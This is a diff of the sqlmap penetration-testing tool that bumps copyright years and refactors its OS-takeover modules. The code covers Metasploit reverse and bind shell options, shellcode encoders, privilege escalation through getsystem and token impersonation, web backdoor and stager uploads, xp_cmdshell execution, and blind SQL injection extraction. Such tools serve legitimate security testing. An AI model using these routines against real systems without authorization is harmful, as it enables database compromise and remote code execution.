4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
},
"linux": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
}
}
"windows": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
},
"linux": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
}
}
self._msfEncodersList = {
"windows": {
1: ("No Encoder", "generic/none"),
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
9: ("Non-Alpha Encoder", "x86/nonalpha"),
10: ("Non-Upper Encoder", "x86/nonupper"),
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
}
}
"windows": {
1: ("No Encoder", "generic/none"),
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
9: ("Non-Alpha Encoder", "x86/nonalpha"),
10: ("Non-Upper Encoder", "x86/nonupper"),
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
}
}
self._msfSMBPortsList = {
"windows": {
1: ("139/TCP", "139"),
2: ("445/TCP (default)", "445"),
}
}
"windows": {
1: ("139/TCP", "139"),
2: ("445/TCP (default)", "445"),
}
}
self._portData = {
"bind": "remote port number",
"reverse": "local port number",
}
"bind": "remote port number",
"reverse": "local port number",
}
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if Backend.isOs(OS.WINDOWS):
@@ -484,10 +485,13 @@ class Metasploit:
send_all(proc, "use espia\n")
send_all(proc, "use incognito\n")
# This extension is loaded by default since Metasploit > 3.7
#send_all(proc, "use priv\n")
# This extension freezes the connection on 64-bit systems
#send_all(proc, "use sniffer\n")
# This extension is loaded by default since Metasploit > 3.7:
# send_all(proc, "use priv\n")
# This extension freezes the connection on 64-bit systems:
# send_all(proc, "use sniffer\n")
send_all(proc, "sysinfo\n")
send_all(proc, "getuid\n")
@@ -501,7 +505,7 @@ class Metasploit:
send_all(proc, "getsystem\n")
infoMsg = "displaying the list of Access Tokens availables. "
infoMsg = "displaying the list of available Access Tokens. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token' if "
infoMsg += "'getsystem' does not success to elevate privileges"
@@ -671,13 +675,10 @@ class Metasploit:
written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
if written is not True:
errMsg = "there has been a problem uploading shellcodeexec, it "
errMsg = "there has been a problem uploading shellcodeexec. It "
errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case "
errMsg += "it is recommended to recompile shellcodeexec with "
errMsg += "slight modification to the source code or pack it "
errMsg += "with an obfuscator software"
errMsg += "flagged it as malicious and removed it"
logger.error(errMsg)
return False

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -33,19 +33,19 @@ class Registry:
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
self._batRead = (
"@ECHO OFF\r\n",
readParse,
)
"@ECHO OFF\r\n",
readParse,
)
self._batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
)
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
)
self._batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
)
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
)
def _createLocalBatchFile(self):
self._batPathFp = open(self._batPathLocal, "w")

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -108,7 +108,7 @@ class UDF:
return output
def udfCheckNeeded(self):
if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
if not conf.osPwn:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -47,11 +47,12 @@ from lib.core.enums import WEB_API
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request
from thirdparty.oset.pyoset import oset
class Web:
"""
This class defines web-oriented OS takeover functionalities for
@@ -110,10 +111,10 @@ class Web:
if self.webApi in getPublicTypeMembers(WEB_API, True):
multipartParams = {
"upload": "1",
"file": stream,
"uploadDir": directory,
}
"upload": "1",
"file": stream,
"uploadDir": directory,
}
if self.webApi == WEB_API.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
@@ -134,7 +135,7 @@ class Web:
def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
if isTechniqueAvailable(kb.technique):
@@ -145,8 +146,7 @@ class Web:
query += "OR %d=%d " % (randInt, randInt)
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
query = agent.prefixQuery(query)
query = agent.suffixQuery(query)
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
@@ -218,7 +218,7 @@ class Web:
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
@@ -230,7 +230,7 @@ class Web:
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
@@ -242,12 +242,12 @@ class Web:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
@@ -257,6 +257,7 @@ class Web:
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/':
_ = []
for directory in directories:
@@ -266,9 +267,9 @@ class Web:
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
@@ -323,8 +324,8 @@ class Web:
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +370,7 @@ class Web:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:
return wasLastResponseDelayed()
@stackedmethod
def _xpCmdshellTest(self):
threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut)
@@ -134,7 +136,7 @@ class XP_cmdshell:
for line in lines:
echoedLine = "echo %s " % line
echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
echoedLines.append(echoedLine)
for echoedLine in echoedLines:
@@ -214,7 +216,7 @@ class XP_cmdshell:
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
if (output is None) or len(output)==0 or output[0] is None:
if (output is None) or len(output) == 0 or output[0] is None:
output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -69,6 +69,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
finalValue = None
retrievedLength = 0
if payload is None:
return 0, None
if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else:
@@ -110,7 +113,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
@@ -121,7 +124,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
firstChar = 0
if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
@@ -187,7 +190,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if payload is not None and hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
@@ -223,7 +226,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare:
if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
@@ -343,7 +346,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if result:
minValue = posValue
if type(charTbl) != xrange:
if not isinstance(charTbl, xrange):
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
@@ -351,7 +354,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
maxValue = posValue
if type(charTbl) != xrange:
if not isinstance(charTbl, xrange):
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
@@ -390,7 +393,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
@@ -461,18 +464,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
with kb.locks.index:
if threadData.shared.index[0] - firstChar >= length:
return
if threadData.shared.index[0] - firstChar >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
kb.locks.index.release()
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
if kb.threadContinue:
charStart = time.time()
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
if val is None:
val = INFERENCE_UNKNOWN_CHAR
@@ -485,7 +484,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if kb.threadContinue:
if showEta:
progress.progress(time.time() - charStart, threadData.shared.index[0])
progress.progress(threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
@@ -502,7 +501,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
@@ -519,7 +518,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
output += status if _ != length else " " * len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
runThreads(numThreads, blindThread, startThreadMsg=False)
@@ -553,7 +552,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
@@ -578,7 +576,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# Did we have luck?
if result:
if showEta:
progress.progress(time.time() - charStart, len(commonValue))
progress.progress(len(commonValue))
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(commonValue[index - 1:]))
@@ -614,7 +612,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset==asciiTbl)
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
@@ -628,7 +626,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(time.time() - charStart, index)
progress.progress(index)
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(val))

Some files were not shown because too many files have changed in this diff Show More